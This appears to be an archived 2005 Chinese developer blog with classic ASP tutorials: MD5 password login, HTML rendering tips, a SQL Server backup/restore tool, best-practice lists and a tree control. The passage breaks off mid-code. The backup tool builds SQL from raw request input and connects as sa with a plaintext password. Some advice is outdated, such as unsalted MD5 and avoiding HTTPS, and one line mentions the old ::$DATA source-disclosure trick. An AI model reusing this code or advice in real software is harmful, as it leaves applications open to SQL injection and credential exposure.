  我们可以看到,PassWord字段的信息是二进制方式保存的,即使数据库被人取得,也不可能知道密码具体是什幺意思。当然,密码也就不会泄露

使用MD5鉴别是否合法用户
既然用户密码是按照MD5加密以后保存在数据库中的,我们知道,MD5是单次加密算法,所以,不可能将加密以后的信息转为明文,也就是说,已经没有办法知道。这就出现一个问题,如果用户使用账号、密码登录,怎么知道用户提供的密码是否准确呢?
这就不得不提到我们前文说到的MD5的特征,我们知道,任意一段明文数据,经过加密以后,其结果必须永远是不变的,也就是说,如果需要验证用户密码是否正确,只需要将用户当前提供的密码使用MD5加密,然后和数据库中保存的密码字段比较就可以了。以下代码就可以实现这个功能:
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<Script runat="server" language="VB">
Sub Login(sender as Object, e as EventArgs)
'1. 建立数据库连接
Const strConnString as String = "connection string"
Dim objConn as New SqlConnection(strConnString)
'2. 建立Command对象
Dim strSQL as String = "SELECT COUNT(*) FROM UserAccount " & _
"WHERE Username=@Username AND Password=@Password"
Dim objCmd as New SqlCommand(strSQL, objConn)
'3. SQL参数
Dim paramUsername as SqlParameter
paramUsername = New SqlParameter("@Username", SqlDbType.VarChar, 25)
paramUsername.Value = txtUsername.Text
objCmd.Parameters.Add(paramUsername)
'加密密码信息
Dim md5Hasher as New MD5CryptoServiceProvider()
Dim hashedDataBytes as Byte()
Dim encoder as New UTF8Encoding()
hashedDataBytes = md5Hasher.ComputeHash(encoder.GetBytes(txtPwd.Text))
Dim paramPwd as SqlParameter
paramPwd = New SqlParameter("@Password", SqlDbType.Binary, 16)
paramPwd.Value = hashedDataBytes
objCmd.Parameters.Add(paramPwd)
objConn.Open()
Dim iResults as Integer = objCmd.ExecuteScalar()
objConn.Close()
If iResults = 1 then
'正确
Else
'错误
End If
End Sub
</script>
<Form runat="server">
<h1>Login</h1>
用户账号: <asp:TextBox runat="server" id="txtUsername" />
<br />密码:
<asp:TextBox runat="server" id="txtPwd" TextMode="Password" />
<p><asp:Button runat="server" Text="Login" onClick="登录" />
</form>

使用加密方式保存密码到数据库的限制
在决定是否使用加密方式保存密码以前,我们还需要考虑一些问题。因为MD5是单次加密算法,加密以后的信息不可以解密,所以,如果用户丢失密码,任何人都很难找到用户原来的密码,这时候,网站也就相应的失去一个很重要的功能,那就是用户提供其他信息来取得忘记的密码的功能,这不能不说是网站的一个大缺陷。另外,采用这样的加密方式,必须完全修改以前的用户资料,要求用户完全重新注册,这也是这种方法比较困难的一个地方。

总 结
以上我们详细介绍了MD5加密用户密码的实现方法,同时,也介绍了采用加密密码方式以后,用户鉴别的实现。并讨论了使用这种加密方式的应用限制。在实际应用中,我们可以将次方法做适当的修改和补充,以更加适合我们的应用需要。

posted @ 2005-07-07 11:39 一天一点爱恋 阅读(172) | 评论 (0)编辑 收藏
 

  作为一个ASP程序员,你不会怀疑提高Web应用程序性能的重要性。为了让程序运行的更快一些,你可能一直忙于优化数据库或COM组件。如果这些你都做过了,你想到过靠加快最终生成HTML代码在浏览器中的显示速度来提高性能吗?对于最终用户来说,如果页面能显示的更快,你就能赢得更多的赞誉。

  提高HTML在浏览器中显示的速度可以通过一些鲜为人知的技术来实现。

  1.使用表格嵌套?

  在页面中建立复杂的结构,一般通过在页面中放置HTML表格来实现。如果要建立一个这样的页面:这个页面有一个顶部导航栏一个左边导航栏,一个右边的内容区。可以用一个两行两列的大表格来建立它。第一行中,合并两个列,然后插入一个顶部导航栏。第二行左边的列中,插入一个表格来显示导航按钮。右边的栏中,放置一个表格来实际内容。(见图一)这样嵌套的表格生成的代码是这样的:

 <TABLE BORDER="0">
  <TR>
   <TD COLSPAN="2"><!-- content for top nav bar --></TD>
  </TR>
  <TR>
   <TD ALIGN="LEFT" VALIGN="TOP"><!-- content for left nav bar --></TD>
   <TD ALIGN="LEFT" VALIGN="TOP"><!-- content for body of page --></TD>
  </TR>
 </TABLE>

  但是,实际上,浏览器找到<TABLE>标签的时候并不是立刻把页面显示到屏幕上,除非它找到相应的结束标签</TABLE>。所以,如果你的整个页面在一个表格里的话,在收到最后一个</TABLE>之前,什么也不会显示出来,这样,这个页面将在整个文件全部下载以后才能被用户所看到。在页面数据量比较大的时候(比如搜索引擎的搜索结果),这个特性会导致暂时的停顿。为了防止出现这种情况,可以在制作的时候把页面分成许多小的表格。在每一个<TABLE>到相应的</TABLE>这一部分HTML代码下载完的时候,浏览器就会把它显示出来。在访问者看来页面是渐渐的,一部分一部分,越来越多的出现在屏幕上的。感觉上,这样的页面显示速度比下载完整个文件再一次显示出来更快。

  按照这个原则来研究前面的例子,应该把页面中整个的大表分成三个单独的表。用第一个表显示顶部的导航栏,调节它的宽度,使它足够容纳所有的内容,在一个<TABLE></TABLE>代码段中完成它。页面下半部分,左边第二个表排成一列。使用第三个表容纳实际内容。(见图二)因为每一个部分都是一个完整的表格,所以,每一部分代码下载后都会立刻被显示出来。这样,顶部和左边的导航栏将比页面的其它部分更显显示出来。用户会在这个时候想象页面开始下载,很快就能显示在屏幕上。这样比起让用户在较长时间内一直面对一个空白屏幕要好得多。

  修改过的代码是这样的:

 <TABLE BORDER="0" WIDTH="100%">
  <TR>
   <TD ALIGN="CENTER" VALIGN="TOP"><!-- content for top nav bar --></TD>
  </TR>
 </TABLE>
 <TABLE BORDER="0" ALIGN="LEFT">
  <TR>
   <TD ALIGN="LEFT" VALIGN="TOP"><!-- content for left nav bar --></TD>
  </TR>
 </TABLE>
 <TABLE BORDER="0">
  <TR>
   <TD ALIGN="LEFT" VALIGN="TOP"><!-- content for page body --></TD>
  </TR>
 </TABLE>

  2.也要记住关闭其他的标记

  在上面的例子中,我们仅仅早一些关闭<TABLE>标记,就能让页面在浏览器显示的更快些。以此类推,还有一些类似的标记也有同样的特性。

  比如产生列表框和组合框<OPTION>标记和产生列表项的<LI>标记。通常,ASP程序员存取数据库,并把数据送入通过<OPTION>建立的列表框或组合框中,这时候在代码中写上一个关闭<OPTION>标记,这样简单的改变也能使页面在浏览器中显示的更快。

  不要使用这样的代码:

 Do while not objRS.EOF
  strOptionList = strOptionList & "<OPTION VALUE=""" & objRS("ID") &_""">"& _objRS("ProductName")
  objRS.MoveNext
 Loop

 Response.Write "<SELECT SIZE=""1"">" & strOptionList & "</SELECT>"

  要使用这样的代码:

  Do while not objRS.EOF
   strOptionList = strOptionList & "<OPTION VALUE=""" & objRS("ID") & _ """>" & objRS("ProductName") & "</OPTION>"
   objRS.MoveNext
  Loop

  Response.Write "<SELECT SIZE=""1"">" & strOptionList & "</SELECT>"

  不要使用这样的代码:

  <UL>
  <LI>Apples
  <LI>Oranges
  <LI>Bananas
  </UL>

  使用这样的代码:

  <UL>
   <LI>Apples</LI>
   <LI>Oranges</LI>
   <LI>Bananas</LI>
  </UL>

  现在看看,你的页面在浏览器中是不是显示的快了?

  请不要轻视这些改变对提高ASP程序性能的重要性。也许,在你能找到的“技巧与提示”一类的书或在线资料中,很少提到过通过优化HTML代码来使你的程序运行的更快。但是,在实际中应用这些技术,确实能使程序性能得到很大的提高。

posted @ 2005-07-07 11:30 一天一点爱恋 阅读(128) | 评论 (0)编辑 收藏
 

看过数据库的备份与还原。大多数都是用组件来完成的。其实可通过sql语句来完成。
由于时间关系,未对参数进行验证和界面美化。代码仅供参考。
共计4个文件:
conn.asp
<%
conn="Provider=SQLOLEDB.1;Persist Security Info=false;Server=127.0.0.1;UID=sa;pwd=www.zhi.net;database=master"
function rec(rs,sql)
set rs = server.CreateObject("ADODB.Recordset")
rs.Activeconnection = conn
rs.Source = sql
rs.CursorType = 0
rs.Cursorlocation = 3
rs.LockType = 1
rs.Open
if rs.eof and rs.bof then
rec= false
else
rec= true
end if
end function
function cmd(sql)
dim cmd1
set cmd1 = server.CreateObject("ADODB.Command")
cmd1.ActiveConnection = conn
cmd1.CommandText = sql
cmd1.CommandType = 1
cmd1.CommandTimeout = 0
cmd1.Prepared = true
cmd1.Execute()
end function
function cdb(rs)
rs.close()
set rs=nothing
end function
%>
dev.asp
<!--#include file="conn.asp"-->
<%
if request("AddDev") <> "" then
sql="select name,phyname from master..sysdevices where status=16 and name='"&request("devname")&"'"
rec chk,sql
if chk.eof and chk.bof then
sql = "sp_addumpdevice 'disk','"&request("devname")&"','"&request("phyname")&"'"
cmd sql
response.Write "<script language=javascript>window.location=reload;</script>"
else
response.Write "<script language=javascript>alert('数据库中已存在"&request("devname")&"设备!');window.location='cmd.asp';</script>"
end if
end if
if request("deldev") <> "" then
sql = "sp_dropdevice '"&request("devname")&"'"
cmd sql
response.Write "<script language=javascript>window.location=reload;</script>"
end if
rec li,"select name,phyname from master..sysdevices where status=16"
if li.eof and li.bof then
response.Write "<font color=#ff0000>请新建备份设备用来备份还原数据库</font>"
else
%><style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
}
-->
</style>
<table width="60%" border="0" cellspacing="0">
<tr>
<td width="29%">名称:</td>
<td width="71%">位置:</td>
</tr>
<%
i=0
while not li.eof
i=i+1
%>
<tr>
<td><%=li(0)%></td>
<td><%=li(1)%> <a href='dev.asp?DelDev=1&devname=<%=li(0)%>'>删除此设备</a></td>
</tr>
<%
li.movenext
wend
response.Write "<script language=javascript>top.document.all.dev.height='"&(i+1)*25&"';</script>"
cdb li
%>
</table>
<%
end if
%>
default.asp
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="conn.asp"-->
<%
'*************************************************
'数据库备份与还原
'编 程:魔术师·杨(MagicYang.CN)
'完成日期:2004-4-11
'说明:由于时间关系,未对数据做安全性验证。
'应用时请对数据进行验证,确保安全。
'QQ:1168064 欢迎大家互相交流
'*************************************************
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>数据库的备份与还原</title>
</head>


<body>
<%

%>
<table width="80%" border="0" align="center">
<tr>
<td width="21%" valign="top">数据库设备:</td>
<td width="79%">
<iframe name="dev" src="dev.asp" width="100%" height="200" frameborder="0" scrolling="no"></iframe>
</td>
</tr>
<tr>
<td>添加设备:</td>
<td>设备名称:
<input name="devname" type="text" id="devname" size="10" maxlength="10"></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>文件路径:
<input name="phyname" type="text" id="phyname" size="20" maxlength="50">
<input type="button" value="添加设备" onClick="document.all.dev.src='dev.asp?AddDev=1&devname='+document.all.devname.value+'&phyname='+document.all. phyname.value;"></td>
</tr>
<tr>
<td valign="top">备份/还原:</td>
<td>
数据库名称:
<%
rec li,"select name from master..sysdatabases where status=16"

%>
<select name="b_data">
<%
while not li.eof
response.Write "<option value="&li(0)&">"&li(0)&"</option>"
li.movenext
wend
cdb li
%>
</select><br>
备份到设备:<%
rec li,"select name,phyname from master..sysdevices where status=16"
%>
<select name="b_dev">
<%
while not li.eof
response.Write "<option value="&li(0)&">"&li(0)&"(文件:"&li(1)&")</option>"
li.movenext
wend
cdb li
%>
</select><br>
<input name="按钮" type="button" value="备份数据库" onClick="window.location='cmd.asp?action=backup&database='+document.all.b_data.value+'&dev='+document.all. b_dev.value;">
&nbsp;
<input name="按钮" type="button" value="还原数据库" onClick="window.location='cmd.asp?action=RESTORE&database='+document.all.b_data.value+'&dev='+document.all. b_dev.value;"> </td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
</table>
</body>
</html>
cmd.asp
<!--#include file="conn.asp"-->
<%
on error resume next
if request("action") <> "" then
if request("action")="backup" then
sql ="BACKUP DATABASE "&request("database")&" To "& request("dev")
cmd sql
if err.number > 0 then
response.Write "<script language=javascript>alert('数据库"&request("database")&"备份失败!');window.location='default.asp';</script>"
else
response.Write "<script language=javascript>alert('数据库"&request("database")&"备份成功!');window.location='default.asp';</script>"
end if
else
sql ="RESTORE DATABASE "&request("database")&" From "& request("dev")
cmd sql
if err.number > 0 then
response.Write "<script language=javascript>alert('数据库"&request("database")&"还原失败!');window.location='default.asp';</script>"
else
response.Write "<script language=javascript>alert('数据库"&request("database")&"还原成功!');window.location='default.asp';</script>"
end if
end if
end if
%>

posted @ 2005-07-07 11:27 一天一点爱恋 阅读(129) | 评论 (0)编辑 收藏
 

Active Server Page,简称ASP,是:

. 连接网友界面(HTML)和商业逻辑(Business Logic);
. 提供一致的、容易使用的、有状态保持的、基于WEB的客户端;
. 为那些需要事务处理的WEB 应用提供应用程序环境。

ASP不是

. 实现商业逻辑(Business Logic)的地方;商业逻辑应该通过COM+、MTS或者数据库来实现。

ASP的使用者应该有下面的教训

. 开发应用程序,而不是开发一个一个的孤立ASP页面;
. 对输入和输出进行缓存;
. 在发布之前要测试;
. 选择性能较好的部件;
. 减少数据库的存取:缓存变换后的结果;
. 使用MSMQ来处理有时间延迟的工作;

站点设计

. 你的站点想提供什么?
. 信息架构:80/20准则;
. 站点导航;
. 页面布局;
. 可用性;
. 使用ALT和Title属性;
. 不使用图片或者Image Map的导航;
. 适合大多数低版本浏览器,考虑他们对ActiveX、RDS、XML、DHTML、Java Applet的支持状况;
. 屏幕分辨率和屏幕颜色数
. 是否支持WebTV、PDA…?
. 设置IMG的width和height属性。
. 非浏览器的访问,如自动机器人(Spider);
. 使用帧(Frame)?
. 使用Cookies的个性化;
. 避免坏连接;
. 使用meta标签;
. 内容审核;
. 内容检索;
. 结果反馈:用户反馈和跟踪;
. 减少下载时间;

三层、四层应用设计

可读性、可维护性

. 使用注释;
. 在VBScript脚本中使用<%Optio. Explicit%>;
. 使用字符串变量存储SQL字符串:便于调试;
. 使用Server.MapPath和相对路径;
. 使用ADODB.INC或者<!—metadata typelib=somelib file=somedll-->来引用常量,不要直接使用常量数值。
. 指定ADO调用的缺省参数,避免出错;
. 使用库或者部件来封装代码。


正确的方法

. 使用Server.URLEncode
. 错误捕获和处理

国际化

. 使用<%CodePage%>
. 使用Session.CodePage
. 在IIS5.0中,Response.write支持UTF8

其他

. 使用#include 重用代码
. 使用分页技术

站点安全

. 客户身份验证
. 输入验证
. #include 文件不要使用.INC后缀,使用.ASP或者设置.INC的应用程序映射
. 把MDB文件存放在非WEB路径下;
. 使用ADSI做安全管理


Session和Application状态

Session的使用

. 使用起来很方便但是很有问题;
. HTTP是一个无状态的协议;
. 设计购物推车特别有用;
. 不利于可伸缩性设计(Scalability);
. 在不需要Session的页面中使用<%EnableSessionState=false%>
. 尽可能完全避免使用Session;
. 在多个web服务器情况下不适合;
. 某些部件使Session运行在单一线程模式,减少了吞吐量;
. 消耗内存;
. Session有超时的问题
. 需要客户端的浏览器打开cookie设置;
. 不要在session中保存recordset,或者缓存connection对象;
. 在global.asa不要使用空的Session_OnEnd;
. 可选方案:
. cookies
. 直接状态编码:简单、容易、不安全
. 后端数据库的ID作为状态值
. querystring 参数
. 如amazon的url方式
. 隐藏的表单

Application变量

. 共享变量
. 不能持久保存
. 多个web服务器时不行,除非只是只读变量。

缓存

. 对静态内容非常理想
. 不要使用Response.Expires=0,使用负数:
. Response.Expires=-10000;
. Response.AddHeader “Pragma”,”no-cache”
. Response.AddHeader “cache-control”,”no-store”
. 服务器缓存
. proxy缓存
. 客户端缓存

部件

. 性能
. 伸缩性
. 分离商务逻辑和页面表现
. 被ASP或其他环境重用
. 事务处理
. 类型安全
. 存取操作系统特性
. 保护知识产权
. 在下列情况下使用Server.CreateObject:
. MTS事务处理
. 上下文安全性
. ASP内部部件
. OnStartPage、OnEndPage
. 使用<Object RunAt=server>延迟对象初始化
. 是否保存到Session或者Application变量中


性能

. Response缓冲:Response.Buffer=True
. 关闭Connection并:set Connection=Nothing
. 使用局部变量
. 用<Object >代替Server.CreateObject
. 不要使用Session和Application变量
. 不要将COM对象存储在Session或者Application变量中
. 关闭脚本调试
. 避免重复的字符串相加
. 在费时的页面顶端使用Response.IsClientConnected
. 使用MSMQ
. 不要在Session或者Application中存储大数组
. 不要ReDim 数组
. 将集合类型的对象赋给临时变量
. 减小微处理器的最大线程数(运行regedt32,在HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\w3SVC\ASP\Parameters,增加ProcessorThreadMax,减小这个值,看看性能的变化;或者增大这个值。)
. 设置AspScriptEngineCacheMax,使它等于ProcessorThreadMax*CPU个数。缺省的是30;(在系统路径下:\system32\inetsrv/adminisamples下,键入adsutil.vbs,设置/w3svc/AspScriptEngineCacheMax);
. 减少Session.Timeout;
. 在MMC中,设置ASP应用程序缓冲为有效。


把某些工作交给客户端

. CSS、DHTML
. XML
. RDS
. Remote Scripting
. Xmlhttp
. 客户端验证
. 减小文件大小
. 尽可能避免https和SSL
. 使用Response.End测试性能

数据库

. 减少数据库存取访问;
. 缓存变换后的结果;
. 使用ODBC连接池和OLEDB资源池;
. 使用系统DSN或者非DSN,不要使用DSN或者文件DSN;
. 使ADO运行在双线程模式(Both-threaded):makefre.bat;
. 使用ADO的Field对象;
. GetString或者GetRows比较快;
. RDS和XML把负载嫁到客户端;
. 不要使用Select *,把字段写出来;
. 尽量使用SQ. Server 7,不要使用Access;
. 使用SQ. Server的特性:存储过程、Job、Join、sort、group
. 使用SQ. Analysis,优化SQL的性能
. 使用索引
. 本地使用Name-pipes,远程使用Sockets
. 准确地指定Command Type

IIS 5的新特性

. 可靠的重新启动
. ASP性能提高
. Server.Transfer比Server.Redirect更好
. Server.Execute
. Server.GetLastError

posted @ 2005-07-07 10:57 一天一点爱恋 阅读(130) | 评论 (0)编辑 收藏
 

1、声明VBScript变量
在ASP中,对vbscript提供了强劲的支持,能够无缝集成vbscript的函数、方法,这样给扩展ASP的现有功能提供了很大便利。由于ASP中已经模糊了变量类型的概念,所以,在进行ASP与vbscript交互的过程中,很多程序员也惯于不声明vbscript的变量,这样加重了服务器的解析负担,进而影响服务器的响应请求速度。
鉴于此,我们可以象在VB中强制用户进行变量声明一样在vbscript中强制用户进行变量声明。实现方法是在ASP程序行首放置<% option explicit%>。

2、对URL地址进行编码
在我们使用asp动态生成一个带参数URL地址并进行跳转时,在IE中解析很正常,但在NetScrape浏览时却有错误如下:
HTTP Error 400
400 Bad Request
Due to malformed syntax, the request could not be understood by the server.
The client should not repeat the request without modifications.
解决方法是对生成的URL参数使用ASP内置server对象的URLencode方法进行URL编码,例子如下:
<%
URL="xur.asp"
var1="username=" & server.URLencode("xur")
var2="&company=" & server.URLencode("xurstudio")
var3="&phone=" & server.URLencode("021-53854336-186")
response.redirect URL & "?" & var1 & var2 & var3
%>

3、清空对象
当使用完对象后,首先使用Close方法来释放对象所占用的系统资源;然后设置对象值为“nothing”释放对象占用内存。当年,我就是在一张页面上创建了百余个没有清空对象的记录集而崩溃了我的IIS 。下面的代码使用数据库内容建立一个下拉列表。代码示例如下:

<% myDSN="DSN=xur;uid=xur;pwd=xur"
mySQL="select * from authors where AU_ID<100"
set conntemp=server.createobject("adodb.connection")
conntemp.open myDSN
set rstemp=conntemp.execute(mySQL)
if rstemp.eof then
response.write "数据库为空"
response.write mySQL
conntemp.close
set conntemp=nothing
response.end
 end if%>
<%do until rstemp.eof %>
<%
rstemp.movenext
loop
rstemp.close
set rstemp=nothing
conntemp.close
set conntemp=nothing
%>

4、使用字符串建立SQL查询
使用字符串来建立查询并不能加快服务器的解析速度,相反,它还会增加服务器的解析时间。但在这里仍然推荐使用字符串代替简单的查询语句来进行查询。这样做的好处是,可以迅速发现程序问题所在,从而便利高效地生成程序。示例如下:

<%mySQL= ""select * "
mySQL= mySQL & "from publishers"
mySQL= mySQL & "where state='NY'"
response.write mySQL
set rstemp=conntemp.execute(mySQL)
rstemp.close
set rstemp=nothing
%>

5、使用case进行条件选择
在进行条件选择的时候,尽量使用case语句,避免使用if语句。使用case语句,可以使程序流程化,执行起来也比if语句来的快。示例如下:

<%
  FOR i = 1 TO 1000
   n = i
Response.Write AddSuffix(n) & "
"
  NEXT
  %>
  <%
  Function AddSuffix(num)
numpart = RIGHT(num,1)
SELECT CASE numpart
CASE "1"
IF InStr(num,"11") THEN
num = num & "th"
ELSE
num = num & "st"
END IF
CASE "2"
IF InStr(num,"12") THEN
num = num & "th"
ELSE
num = num & "nd"
END IF
CASE "3"
IF InStr(num,"13") THEN
num = num & "th"
ELSE
num = num & "rd"
END IF
CASE "4"
num = num & "th"
CASE ELSE
num = num & "th"
END SELECT
AddSuffix = num
  END FUNCTION
%>


6、使用adovbs.inc文件中定义的常量打开记录集
打开记录集时,可以定义记录集打开的游标类型和锁定类型。在adovbs.inc文件中定义了一些常量来定义这些类型。adovbs.inc文件保存在\inetpub\iissamples\IISamples目录下面。下面列举几个常用的游标类型和锁定类型。
游标类型:adOpenFowardOnly游标只能向前;adOpenKeyset游标可向前或者向后,如一用户添加记录,新记录不会出现在记录集中;adOpenDynamic游标动态随意;adOpenStatic记录集不对其它用户造成的记录修改有所反映。
锁定类型:adLockReadOney不能修改记录集中的记录;adLockPessimistic在编辑一条记录时锁定它;adLockOptimstic调用记录集Update方法时才锁定记录;adLockBatchOpeimstic记录只能成批更新。
<!--#INCLUDE VIRTUAL="/ADOVBS.INC" -->
<%
connectme="DSN=xur;uid=xur;pwd=xur"
sqltemp="select * from publishers where name='xur'"
set rstemp=Server.CreateObject("adodb.Recordset")
rstemp.open sqltemp, connectme, adOpenStatic,adLockOptimstic
response.write rstemp.recordcount & " records in
" & sqltemp
rstemp.close
set rstemp=nothing
%>

7、避免在使用global.asa文件中进行对象定义
由于global.asa文件中的内容可以为站点内所有文件引用,无疑,在global.asa文件中进行对象定义可以省去很多重复工作。比如在global.asa中的application_onstart函数中进行如下定义:
<%SUB application_onstart
set application("theCONN")=server.createobject("adodb.connection")
END SUB %>;
这样就可以在站点任何代码中做类似引用:
<%
mySQL="select * from publishers where state='xur'
set rstemp=application("theconn").execute(mySQL)
%>
同样地,可以在session_onstart函数中创建记录集对象
<%SUB session_onstart
set session("rstemp")=server.createobject("adodb.recordset")
END SUB %>
然后在站点也面中进行如下引用:
<%
mySQL="select * from publishers where state='xur'
set session("rstemp")=conntemp.execute(mySQL)
%>
但这样做的同时也有很大的负面影响,由于Application和session变量都只有在关闭网站的时候才释放占用的资源,所以session参数会浪费大量不必要内存,而且此时application变量成为服务器性能的瓶颈。
解决方法:建立定义对象asp页面,在需要进行调用这些对象的页面上,引入这张asp页面。假设定义对象的asp页面名称为define.asp,则只要在对应asp页面中加入以下语句就能引入该页面。
<!--#INCLUDE VIRTUAL="/define.asp" -->
在进行页面引进时,最好在待引进的asp文件中不要包含<%@LANGUAGE="VBSCRIPT"%>语句。因为在asp文件中,只能有一句由@来定义的脚本解析语言。

8、安全防护
asp提供了很好的代码保护机制,所有的asp代码都在服务器端执行而只返回给客户端代码执行结果。即便这样,在老版本的IIS中还可以在文件名后面家::$DATA来查看asp的源代码,这已经属于Web Server安全范畴不在本文讨论范围内。下面提出两点简单的安全注意事项。
  虽然在asp中建议引入文件以inc作为扩展名,在这里仍建议以asp作为引文件的扩展名。当这些代码在安全机制不好的Web Server上运行时,只需在地址栏上输入引入文件的地址(inc为扩展名),就可以浏览该引入文件的内容,这是由于在Web Server上,如果没有定义好解析某类型(比如inc)的动态连接库时,该文件以源码方式显示。
不要把数据库文件放在网站结构内部,这样,当恶意人士获取数据库路径后,就可以轻易获取该数据库,进而肆意更改数据库内容。比较好的做法是,为数据库建立DSN(Date Source Name),而在进行数据库访问时直接访问该DSN。

posted @ 2005-07-07 10:53 一天一点爱恋 阅读(114) | 评论 (0)编辑 收藏
 
 技巧之一:提高使用Request集合的效率

访问一个ASP集合来提取一个值是费时的、占用计算资源的过程。因为这个操作包含了一系列对相关集合的搜索,这比访问一个局部变量要慢得多。因此,如果打算在页面中多次使用Request集合中的一个值,应该考虑将其存贮为一个局部变量。例如将代码写成下面的形式以加快脚本引擎处理速度:

strTitle=Request.Form("Title")
strFirstName=Request.Form("FirstName") 
strLastName=Request.Form("LastName") 
If Len(strTitle) Then strTitle=strTitle & " " 
If strFirstName="" Then strFullName=strTitle & " " & strLastName 
Elseif Len(strFirstName)=1 Then
strFullName=strTitle & strFirstName & ". " & strLastName
Else
strFullName=strTitle & strFirstName & " " & strLastName 
End If


技巧之二:直接访问适当的集合

如果不是别无选择,否则不要使用strPage=Request("page")的这样的形式来获取参数,因为这将按顺序搜索全部的集合—QueryString、Form、Cookies、ClientCertificate、ServerVarible直到发现第一个匹配值的名称。这样做比直接访问适当的集合效率低,并且是不安全的,除非能绝对保证这个值不会出现在另外一个集合中。
例如,可能希望搜索满足客户请求的WEB服务器名称,这通过出现在每个查询中的Request.ServerVarables集合中寻找“SERVER_NAME”来实现。然而,假如其他的集合也包含名为“SERVER_NAME”的值(键名不区分大小写),当使用Request("server_Name")时,就会得到错误的结果。总而言之,应尽可能直接访问适当的集合。


技巧之三:在费时操作前使用Response.IsClientConnected属性

使用Response.IsClientConnected是观察用户是否仍连到服务器并正在载入ASP创建的网页的有用方式。如果用户断开连接或停止下载,我们就不用再浪费服务器的资源创建网页,因为缓冲区内容将被IIS丢弃。所以,对那些需要大量时间计算或资源使用较多的网页来说,值得在每一阶段都检查游览者是否已离线:

…… Code to create first part of the page
If Response.IsClientConnected Then
Response.Flush
Else
Response.End
End If
…… Code to create next part of page


技巧之四:优化ASP中的ADO操作

通常面言,数据构成了WEB站点的实际内容。所以,优化ADO操作以加速ASP代码执行,十分有用:
a. 仅选择所需的列:当打开ADO记录集时,除非需要获得所有的列,否则不应自动地使用表名(即SELECT *)。使用单独的列意味着将减少发送到服务器或从服务器取出的数据量。即使需要使用全部列,单独地命名每个列也会获得最佳的性能,因为服务器不必再解释这些列的名字。

b. 尽可能的使用存储过程。存储过程是预先编译的程序,含有一个已经准备好的执行计划,所以比SQL语句执行更快。

c. 使用适当的光标和锁定模式。如果所做的全部工作只是从记录集中读取数据,并将其显示在屏幕上,那么就使用缺省的只能前移、只读的记录集。ADO用来维护记录和锁定的细节的工作越少,执行的性能就越高。

d. 使用对象变量。当遍历记录集时一个肯定能提高性能的方法是使用对象变量指向集合中的成员。例如:

While Not RsGc.EOF
Response.Write "工程名称:" & RsGc("GcMC") & "(工程代码:" & RsGc("GcCode") & ")
" 
RsGc.MoveNext
Wend

可以用改写为下面的代码以加快执行:

set GcMc=RsGc("GcMc")
set GcCode=RsGc("GcCode") 
While Not rsGc.EOF Response.Write "工程名称:" & GcMc & "(工程代码:" & GcCode & ")
" RsGc.MoveNext 
Wend

新的代码建立了对象变量的引用,所以可以使用对象变量而不是实际的变量,这意味着脚本引擎的工作减少了,因为在集合中进行索引的次数变少了。


技巧五:不要混用脚本引擎

我们知道,ASP页面中既可以使用VBScript,也可以使用JScript。但是在同一个页面上同时使用JScript和VBScript则是不可取的。因为服务器必须实例化并尝试缓存两个(而不是一个)脚本引擎,这在一定程度上增加了系统负担。因此,从性能上考虑,不应在同一页面中混用多种脚本引擎。

posted @ 2005-07-07 10:52 一天一点爱恋 阅读(132) | 评论 (0)编辑 收藏
 

本程序有两文件test.asp 和tree.asp 还有一些图标文件
1。test.asp 调用类生成树 代码如下
<%@ Language=VBScript %>
<html>
<head>
<link rel="stylesheet" href="tree.css">
<title>tree</title>
</head>
<!-- #include file="tree.asp" -->
<%

'========================================
' BUILDING A TREE PROGRAMATICALLY
'========================================
' This approach would be best suited for building
' dynamic trees using For..Next loops and such.

Set MyTree2 = New Tree
MyTree2.Top = 10
MyTree2.Left = 10
MyTree2.ExpandImage = "plus.gif"
MyTree2.CollapseImage = "minus.gif"
MyTree2.LeafImage = "webpage.gif"

' Notice the indentation used to reprensent the hierarchy
Set Node1 = MyTree2.CreateChild("script")
Set SubNode1 = Node1.CreateChild("server")
Set secSubNode1 = SubNode1.CreateChild("html")
secSubNode1.CreateChild "<A HREF=""http://127.0.0.1/"">asp</A>"
secSubNode1.CreateChild "<A HREF=""http://127.0.0.1/"">php</A>"
secSubNode1.CreateChild "<A HREF=""http://127.0.0.1/"">jsp</A>"

Set SubNode2 = Node1.CreateChild("os")
SubNode2.CreateChild "<A HREF=""#"">winnt</A>"
SubNode2.CreateChild "<A HREF=""#"">win2000</A>"

Set Node2 = MyTree2.CreateChild("Desktop")
Node2.CreateChild "<A HREF=""#"">Area Code Lookup</A>"
Node2.CreateChild "<A HREF=""#"">Arin Based Whois Search</A>"
Node2.CreateChild "<A HREF=""#"">World Time Zone Map</A>"

MyTree2.Draw()

Set MyTree2 = Nothing

%>

</BODY>
</HTML>
2。tree.asp 类的定义 代码如下
<%
'******************************************************
' Author: Jacob Gilley
' Email: avis7@airmail.net
' My Terms: You can use this control in anyway you see fit
' cause I have no means to enforce any guidelines
' or BS that most developers think they can get
' you to agree to by spouting out words like
' "intellectual property" and "The Code Gods".
' - Viva la Microsoft!
'******************************************************

Dim gblTreeNodeCount:gblTreeNodeCount = 1

Class TreeNode

Public Value
Public ExpandImage
Public CollapseImage
Public LeafImage
Public Expanded
Private mszName
Private mcolChildren
Private mbChildrenInitialized

Public Property Get ChildCount()
ChildCount = mcolChildren.Count
End Property

Private Sub Class_Initialize()
mszName = "node" & CStr(gblTreeNodeCount)
gblTreeNodeCount = gblTreeNodeCount + 1

mbChildrenInitialized = False
Expanded = False
End Sub

Private Sub Class_Terminate()
If mbChildrenInitialized And IsObject(mcolChildren) Then
mcolChildren.RemoveAll()
Set mcolChildren = Nothing
End If
End Sub

Private Sub InitChildList()
Set mcolChildren = Server.CreateObject("Scripting.Dictionary")
mbChildrenInitialized = True
End Sub

Private Sub LoadState()
If Request(mszName) = "1" Or Request("togglenode") = mszName Then
Expanded = True
End If
End Sub

Public Function CreateChild(szValue)

If Not mbChildrenInitialized Then InitChildList()

Set CreateChild = New TreeNode
CreateChild.Value = szValue
